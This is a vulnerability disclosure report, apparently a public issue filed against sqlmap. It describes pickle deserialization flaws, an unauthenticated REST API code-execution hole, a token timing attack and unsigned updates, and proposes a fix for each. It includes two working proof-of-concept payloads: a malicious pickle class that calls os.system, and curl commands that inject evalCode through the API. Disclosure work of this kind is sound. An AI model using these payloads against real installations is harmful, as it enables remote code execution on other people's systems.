Security: Unsafe pickle deserialization, REST API RCE, and related vulnerabilities

## Security Report **Reporter**: Conner Webber (conner.webber000@gmail.com) **Date**: 2026-03-08 > **Note**: This repo does not have Private Vulnerability Reporting (PVRA) enabled or a SECURITY.md with alternate contact info. Filing here as the only available channel. I recommend enabling PVRA at Settings > Security > Private vulnerability reporting. --- ### Finding 1: Unsafe Pickle Deserialization in Session DB (CRITICAL, CWE-502) **CVSS 3.1**: 8.4 — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H **Location**: `lib/utils/hashdb.py:116` → `lib/core/common.py:4911` (`base64unpickle()`) → `lib/core/convert.py:77` (`pickle.loads()`) **Description**: Session data stored in SQLite `.sqlite` files is deserialized using `pickle.loads()` without any integrity verification. An attacker who can write or replace a session file (e.g., via a shared `/tmp`, network share, or social engineering) achieves arbitrary code execution when the victim runs sqlmap and it loads the poisoned session. **Proof of Concept**: ```python import pickle, base64, sqlite3, os class RCE: def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) payload = base64.b64encode(pickle.dumps(RCE())).decode() db = sqlite3.connect("target_session.sqlite") db.execute("CREATE TABLE IF NOT EXISTS storage (id TEXT PRIMARY KEY, value TEXT)") db.execute("INSERT OR REPLACE INTO storage VALUES (?, ?)", ("some_key", payload)) db.commit() ``` **Fix**: Replace `pickle.loads()` with `json.loads()` for session data, or at minimum use `hmac`-signed pickle with a per-installation secret key. --- ### Finding 2: REST API RCE via Option Injection (CRITICAL, CWE-94) **CVSS 3.1**: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H **Location**: `lib/utils/api.py:477-492` (`/option/<taskid>/set` endpoint) **Description**: The REST API (`--api` / `sqlmapapi.py`) has **no authentication by default**. The `/option/<taskid>/set` endpoint allows setting arbitrary sqlmap options including: - `evalCode` — executes arbitrary Python code via `--eval` - `tamper` — loads arbitrary `.py` files as tamper scripts - `alert` — runs shell commands via `subprocess.Popen(shell=True)` Only `sqlShell` and `wizard` are blocked (line 487-488). Any network-adjacent attacker can achieve RCE. **PoC**: ```bash # Start API python sqlmapapi.py -s # Create task TASKID=$(curl -s http://127.0.0.1:8775/task/new | python -c "import sys,json;print(json.load(sys.stdin)['taskid'])") # Set RCE payload curl -X POST http://127.0.0.1:8775/option/$TASKID/set \ -H "Content-Type: application/json" \ -d '{"url":"http://example.com/?id=1","evalCode":"__import__(\"os\").system(\"id > /tmp/pwned\")"}' # Trigger curl http://127.0.0.1:8775/scan/$TASKID/start ``` **Fix**: 1. Block `evalCode`, `tamper`, and `alert` options via the API (same as `sqlShell`/`wizard`) 2. Require authentication by default (not opt-in via `--admin-token`) 3. Bind to `127.0.0.1` only by default (currently `0.0.0.0`) --- ### Finding 3: Pickle in BigArray Temp Files (CRITICAL, CWE-502) **CVSS 3.1**: 7.8 — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H **Location**: `lib/core/bigarray.py:152,213` **Description**: `BigArray` writes pickle-serialized chunks to temp files with a predictable prefix `sqlmapbigarray-` in the system temp directory. On shared systems (CI/CD, containers, multi-user servers), a local attacker can: 1. Pre-create symlinked or poisoned temp files matching the predictable naming pattern 2. Wait for sqlmap to read back the poisoned pickle data 3. Achieve code execution as the sqlmap user **Fix**: Use `json` serialization for BigArray chunks, or use `tempfile.mkstemp()` with restrictive permissions and unpredictable names. --- ### Finding 4: Timing Attack on Admin Token (HIGH, CWE-208) **CVSS 3.1**: 5.9 — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N **Location**: `lib/utils/api.py:295-296` **Description**: The admin token comparison uses Python's `==` operator (`DataStore.admin_token == token`), which short-circuits on the first differing byte. An attacker can brute-force the token one character at a time via statistical timing analysis. **Fix**: Use `hmac.compare_digest()` for token comparison. --- ### Finding 5: No Signature Verification on Updates (HIGH, CWE-295) **CVSS 3.1**: 7.5 — CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H **Location**: `lib/core/update.py` **Description**: The `--update` flag downloads code via HTTPS (git pull) but performs no hash or signature verification of the downloaded content. A MITM attacker who compromises the TLS connection (e.g., via a corporate proxy, compromised CA, or DNS hijack) can inject arbitrary code. **Fix**: Implement GPG signature verification on commits/tags, or verify a signed hash manifest after pulling. --- ### Recommendations 1. **Enable Private Vulnerability Reporting** on this repository so security researchers can report privately 2. **Add a SECURITY.md** with contact information for security reports 3. The pickle issues (Findings 1 and 3) are the most impactful and easiest to fix — migrate to JSON serialization 4. The REST API (Finding 2) should never allow code execution options without authentication I'm happy to submit PRs for any of these fixes if the maintainers are interested.